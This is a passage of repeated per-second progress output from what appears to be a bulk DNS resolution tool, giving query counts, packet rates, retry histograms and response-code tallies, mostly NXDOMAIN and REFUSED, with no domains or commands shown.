6500FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6501
6502
6503
6504Processed queries: 1919
6505Received packets: 3022
6506Progress: 100.00% (00 h 00 min 05 sec / 00 h 00 min 05 sec)
6507Current incoming rate: 15 pps, average: 603 pps
6508Current success rate: 7 pps, average: 382 pps
6509Finished total: 1915, success: 1915 (100.00%)
6510Mismatched domains: 292 (9.75%), IDs: 0 (0.00%)
6511Failures: 0: 31.17%, 1: 31.02%, 2: 16.19%, 3: 9.14%, 4: 5.22%, 5: 3.29%, 6: 1.83%, 7: 1.15%, 8: 0.52%, 9: 0.31%, 10: 0.16%, 11: 0.16%, 12: 0.05%, 13: 0.00%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6512Response: | Success: | Total:
6513OK: | 167 ( 8.72%) | 189 ( 6.31%)
6514NXDOMAIN: | 1667 ( 87.05%) | 1866 ( 62.28%)
6515SERVFAIL: | 81 ( 4.23%) | 90 ( 3.00%)
6516REFUSED: | 0 ( 0.00%) | 851 ( 28.40%)
6517FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6518
6519
6520
6521Processed queries: 1919
6522Received packets: 3031
6523Progress: 100.00% (00 h 00 min 06 sec / 00 h 00 min 06 sec)
6524Current incoming rate: 8 pps, average: 504 pps
6525Current success rate: 1 pps, average: 318 pps
6526Finished total: 1917, success: 1917 (100.00%)
6527Mismatched domains: 298 (9.92%), IDs: 0 (0.00%)
6528Failures: 0: 31.14%, 1: 30.99%, 2: 16.17%, 3: 9.13%, 4: 5.22%, 5: 3.29%, 6: 1.83%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.16%, 12: 0.00%, 13: 0.05%, 14: 0.05%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6529Response: | Success: | Total:
6530OK: | 167 ( 8.71%) | 189 ( 6.29%)
6531NXDOMAIN: | 1669 ( 87.06%) | 1872 ( 62.30%)
6532SERVFAIL: | 81 ( 4.23%) | 91 ( 3.03%)
6533REFUSED: | 0 ( 0.00%) | 853 ( 28.39%)
6534FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6535
6536
6537
6538Processed queries: 1919
6539Received packets: 3033
6540Progress: 100.00% (00 h 00 min 07 sec / 00 h 00 min 07 sec)
6541Current incoming rate: 1 pps, average: 432 pps
6542Current success rate: 0 pps, average: 273 pps
6543Finished total: 1917, success: 1917 (100.00%)
6544Mismatched domains: 299 (9.94%), IDs: 0 (0.00%)
6545Failures: 0: 31.14%, 1: 30.99%, 2: 16.17%, 3: 9.13%, 4: 5.22%, 5: 3.29%, 6: 1.83%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.10%, 14: 0.00%, 15: 0.00%, 16: 0.05%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6546Response: | Success: | Total:
6547OK: | 167 ( 8.71%) | 189 ( 6.29%)
6548NXDOMAIN: | 1669 ( 87.06%) | 1873 ( 62.29%)
6549SERVFAIL: | 81 ( 4.23%) | 91 ( 3.03%)
6550REFUSED: | 0 ( 0.00%) | 854 ( 28.40%)
6551FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6552
6553
6554
6555Processed queries: 1919
6556Received packets: 3034
6557Progress: 100.00% (00 h 00 min 08 sec / 00 h 00 min 08 sec)
6558Current incoming rate: 0 pps, average: 378 pps
6559Current success rate: 0 pps, average: 239 pps
6560Finished total: 1917, success: 1917 (100.00%)
6561Mismatched domains: 300 (9.97%), IDs: 0 (0.00%)
6562Failures: 0: 31.14%, 1: 30.99%, 2: 16.17%, 3: 9.13%, 4: 5.22%, 5: 3.29%, 6: 1.83%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.05%, 16: 0.00%, 17: 0.00%, 18: 0.05%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6563Response: | Success: | Total:
6564OK: | 167 ( 8.71%) | 189 ( 6.28%)
6565NXDOMAIN: | 1669 ( 87.06%) | 1873 ( 62.27%)
6566SERVFAIL: | 81 ( 4.23%) | 92 ( 3.06%)
6567REFUSED: | 0 ( 0.00%) | 854 ( 28.39%)
6568FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6569
6570
6571
6572Processed queries: 1919
6573Received packets: 3037
6574Progress: 100.00% (00 h 00 min 09 sec / 00 h 00 min 09 sec)
6575Current incoming rate: 2 pps, average: 336 pps
6576Current success rate: 0 pps, average: 212 pps
6577Finished total: 1917, success: 1917 (100.00%)
6578Mismatched domains: 302 (10.03%), IDs: 0 (0.00%)
6579Failures: 0: 31.14%, 1: 30.99%, 2: 16.17%, 3: 9.13%, 4: 5.22%, 5: 3.29%, 6: 1.83%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.05%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.05%, 22: 0.00%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6580Response: | Success: | Total:
6581OK: | 167 ( 8.71%) | 189 ( 6.28%)
6582NXDOMAIN: | 1669 ( 87.06%) | 1875 ( 62.27%)
6583SERVFAIL: | 81 ( 4.23%) | 92 ( 3.06%)
6584REFUSED: | 0 ( 0.00%) | 855 ( 28.40%)
6585FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6586
6587
6588
6589Processed queries: 1919
6590Received packets: 3038
6591Progress: 100.00% (00 h 00 min 10 sec / 00 h 00 min 10 sec)
6592Current incoming rate: 0 pps, average: 303 pps
6593Current success rate: 0 pps, average: 191 pps
6594Finished total: 1918, success: 1918 (100.00%)
6595Mismatched domains: 302 (10.03%), IDs: 0 (0.00%)
6596Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.05%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6597Response: | Success: | Total:
6598OK: | 167 ( 8.71%) | 189 ( 6.27%)
6599NXDOMAIN: | 1670 ( 87.07%) | 1876 ( 62.28%)
6600SERVFAIL: | 81 ( 4.22%) | 92 ( 3.05%)
6601REFUSED: | 0 ( 0.00%) | 855 ( 28.39%)
6602FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6603
6604
6605
6606Processed queries: 1919
6607Received packets: 3044
6608Progress: 100.00% (00 h 00 min 11 sec / 00 h 00 min 11 sec)
6609Current incoming rate: 5 pps, average: 276 pps
6610Current success rate: 0 pps, average: 174 pps
6611Finished total: 1918, success: 1918 (100.00%)
6612Mismatched domains: 308 (10.21%), IDs: 0 (0.00%)
6613Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.05%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6614Response: | Success: | Total:
6615OK: | 167 ( 8.71%) | 189 ( 6.26%)
6616NXDOMAIN: | 1670 ( 87.07%) | 1876 ( 62.16%)
6617SERVFAIL: | 81 ( 4.22%) | 96 ( 3.18%)
6618REFUSED: | 0 ( 0.00%) | 857 ( 28.40%)
6619FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6620
6621
6622
6623Processed queries: 1919
6624Received packets: 3049
6625Progress: 100.00% (00 h 00 min 12 sec / 00 h 00 min 12 sec)
6626Current incoming rate: 4 pps, average: 253 pps
6627Current success rate: 0 pps, average: 159 pps
6628Finished total: 1918, success: 1918 (100.00%)
6629Mismatched domains: 313 (10.35%), IDs: 0 (0.00%)
6630Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.05%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6631Response: | Success: | Total:
6632OK: | 167 ( 8.71%) | 189 ( 6.25%)
6633NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 62.09%)
6634SERVFAIL: | 81 ( 4.22%) | 100 ( 3.31%)
6635REFUSED: | 0 ( 0.00%) | 857 ( 28.35%)
6636FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6637
6638
6639
6640Processed queries: 1919
6641Received packets: 3055
6642Progress: 100.00% (00 h 00 min 13 sec / 00 h 00 min 13 sec)
6643Current incoming rate: 5 pps, average: 234 pps
6644Current success rate: 0 pps, average: 147 pps
6645Finished total: 1918, success: 1918 (100.00%)
6646Mismatched domains: 319 (10.53%), IDs: 0 (0.00%)
6647Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.05%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6648Response: | Success: | Total:
6649OK: | 167 ( 8.71%) | 189 ( 6.24%)
6650NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.97%)
6651SERVFAIL: | 81 ( 4.22%) | 105 ( 3.47%)
6652REFUSED: | 0 ( 0.00%) | 858 ( 28.33%)
6653FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6654
6655
6656
6657Processed queries: 1919
6658Received packets: 3057
6659Progress: 100.00% (00 h 00 min 14 sec / 00 h 00 min 14 sec)
6660Current incoming rate: 1 pps, average: 217 pps
6661Current success rate: 0 pps, average: 136 pps
6662Finished total: 1918, success: 1918 (100.00%)
6663Mismatched domains: 321 (10.59%), IDs: 0 (0.00%)
6664Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.05%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6665Response: | Success: | Total:
6666OK: | 167 ( 8.71%) | 189 ( 6.24%)
6667NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.93%)
6668SERVFAIL: | 81 ( 4.22%) | 106 ( 3.50%)
6669REFUSED: | 0 ( 0.00%) | 859 ( 28.34%)
6670FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6671
6672
6673
6674Processed queries: 1919
6675Received packets: 3059
6676Progress: 100.00% (00 h 00 min 15 sec / 00 h 00 min 15 sec)
6677Current incoming rate: 1 pps, average: 203 pps
6678Current success rate: 0 pps, average: 127 pps
6679Finished total: 1918, success: 1918 (100.00%)
6680Mismatched domains: 323 (10.65%), IDs: 0 (0.00%)
6681Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.05%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6682Response: | Success: | Total:
6683OK: | 167 ( 8.71%) | 189 ( 6.23%)
6684NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.89%)
6685SERVFAIL: | 81 ( 4.22%) | 107 ( 3.53%)
6686REFUSED: | 0 ( 0.00%) | 860 ( 28.35%)
6687FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6688
6689
6690
6691Processed queries: 1919
6692Received packets: 3059
6693Progress: 100.00% (00 h 00 min 16 sec / 00 h 00 min 16 sec)
6694Current incoming rate: 0 pps, average: 190 pps
6695Current success rate: 0 pps, average: 119 pps
6696Finished total: 1918, success: 1918 (100.00%)
6697Mismatched domains: 323 (10.65%), IDs: 0 (0.00%)
6698Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.05%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6699Response: | Success: | Total:
6700OK: | 167 ( 8.71%) | 189 ( 6.23%)
6701NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.89%)
6702SERVFAIL: | 81 ( 4.22%) | 107 ( 3.53%)
6703REFUSED: | 0 ( 0.00%) | 860 ( 28.35%)
6704FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6705
6706
6707
6708Processed queries: 1919
6709Received packets: 3059
6710Progress: 100.00% (00 h 00 min 17 sec / 00 h 00 min 17 sec)
6711Current incoming rate: 0 pps, average: 179 pps
6712Current success rate: 0 pps, average: 112 pps
6713Finished total: 1918, success: 1918 (100.00%)
6714Mismatched domains: 323 (10.65%), IDs: 0 (0.00%)
6715Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.05%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6716Response: | Success: | Total:
6717OK: | 167 ( 8.71%) | 189 ( 6.23%)
6718NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.89%)
6719SERVFAIL: | 81 ( 4.22%) | 107 ( 3.53%)
6720REFUSED: | 0 ( 0.00%) | 860 ( 28.35%)
6721FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6722
6723
6724
6725Processed queries: 1919
6726Received packets: 3061
6727Progress: 100.00% (00 h 00 min 18 sec / 00 h 00 min 18 sec)
6728Current incoming rate: 1 pps, average: 169 pps
6729Current success rate: 0 pps, average: 106 pps
6730Finished total: 1918, success: 1918 (100.00%)
6731Mismatched domains: 325 (10.71%), IDs: 0 (0.00%)
6732Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.05%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6733Response: | Success: | Total:
6734OK: | 167 ( 8.71%) | 189 ( 6.23%)
6735NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.85%)
6736SERVFAIL: | 81 ( 4.22%) | 107 ( 3.53%)
6737REFUSED: | 0 ( 0.00%) | 862 ( 28.40%)
6738FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6739
6740
6741
6742Processed queries: 1919
6743Received packets: 3063
6744Progress: 100.00% (00 h 00 min 19 sec / 00 h 00 min 19 sec)
6745Current incoming rate: 1 pps, average: 160 pps
6746Current success rate: 0 pps, average: 100 pps
6747Finished total: 1918, success: 1918 (100.00%)
6748Mismatched domains: 326 (10.74%), IDs: 0 (0.00%)
6749Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.05%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6750Response: | Success: | Total:
6751OK: | 167 ( 8.71%) | 189 ( 6.23%)
6752NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.82%)
6753SERVFAIL: | 81 ( 4.22%) | 107 ( 3.52%)
6754REFUSED: | 0 ( 0.00%) | 863 ( 28.43%)
6755FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6756
6757
6758
6759Processed queries: 1919
6760Received packets: 3064
6761Progress: 100.00% (00 h 00 min 20 sec / 00 h 00 min 20 sec)
6762Current incoming rate: 0 pps, average: 152 pps
6763Current success rate: 0 pps, average: 95 pps
6764Finished total: 1918, success: 1918 (100.00%)
6765Mismatched domains: 327 (10.77%), IDs: 0 (0.00%)
6766Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.05%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6767Response: | Success: | Total:
6768OK: | 167 ( 8.71%) | 189 ( 6.22%)
6769NXDOMAIN: | 1670 ( 87.07%) | 1877 ( 61.80%)
6770SERVFAIL: | 81 ( 4.22%) | 107 ( 3.52%)
6771REFUSED: | 0 ( 0.00%) | 864 ( 28.45%)
6772FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6773
6774
6775
6776Processed queries: 1919
6777Received packets: 3069
6778Progress: 100.00% (00 h 00 min 21 sec / 00 h 00 min 21 sec)
6779Current incoming rate: 4 pps, average: 145 pps
6780Current success rate: 0 pps, average: 91 pps
6781Finished total: 1918, success: 1918 (100.00%)
6782Mismatched domains: 332 (10.91%), IDs: 0 (0.00%)
6783Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.05%, 42: 0.00%, 43: 0.00%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6784Response: | Success: | Total:
6785OK: | 167 ( 8.71%) | 189 ( 6.21%)
6786NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.74%)
6787SERVFAIL: | 81 ( 4.22%) | 111 ( 3.65%)
6788REFUSED: | 0 ( 0.00%) | 864 ( 28.40%)
6789FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6790
6791
6792
6793Processed queries: 1919
6794Received packets: 3070
6795Progress: 100.00% (00 h 00 min 22 sec / 00 h 00 min 22 sec)
6796Current incoming rate: 0 pps, average: 139 pps
6797Current success rate: 0 pps, average: 87 pps
6798Finished total: 1918, success: 1918 (100.00%)
6799Mismatched domains: 333 (10.94%), IDs: 0 (0.00%)
6800Failures: 0: 31.13%, 1: 30.97%, 2: 16.16%, 3: 9.12%, 4: 5.21%, 5: 3.28%, 6: 1.82%, 7: 1.15%, 8: 0.52%, 9: 0.26%, 10: 0.16%, 11: 0.10%, 12: 0.00%, 13: 0.05%, 14: 0.00%, 15: 0.00%, 16: 0.00%, 17: 0.00%, 18: 0.00%, 19: 0.00%, 20: 0.00%, 21: 0.00%, 22: 0.05%, 23: 0.00%, 24: 0.00%, 25: 0.00%, 26: 0.00%, 27: 0.00%, 28: 0.00%, 29: 0.00%, 30: 0.00%, 31: 0.00%, 32: 0.00%, 33: 0.00%, 34: 0.00%, 35: 0.00%, 36: 0.00%, 37: 0.00%, 38: 0.00%, 39: 0.00%, 40: 0.00%, 41: 0.00%, 42: 0.00%, 43: 0.05%, 44: 0.00%, 45: 0.00%, 46: 0.00%, 47: 0.00%, 48: 0.00%, 49: 0.00%, 50: 0.00%,
6801Response: | Success: | Total:
6802OK: | 167 ( 8.71%) | 189 ( 6.21%)
6803NXDOMAIN: | 1670 ( 87.07%) | 1878 ( 61.72%)
6804SERVFAIL: | 81 ( 4.22%) | 111 ( 3.65%)
6805REFUSED: | 0 ( 0.00%) | 865 ( 28.43%)
6806FORMERR: | 0 ( 0.00%) | 0 ( 0.00%)
6807
6808
6809
6810Processed queries: 1919
6811Received packets: 3072
6812Progress: 100.00% (00 h 00 min 23 sec / 00 h 00 min 23 sec)
6813Current incoming rate: 1 pps, average: 133 pps
6814Current success rate: 0 pps, average: 83 pps
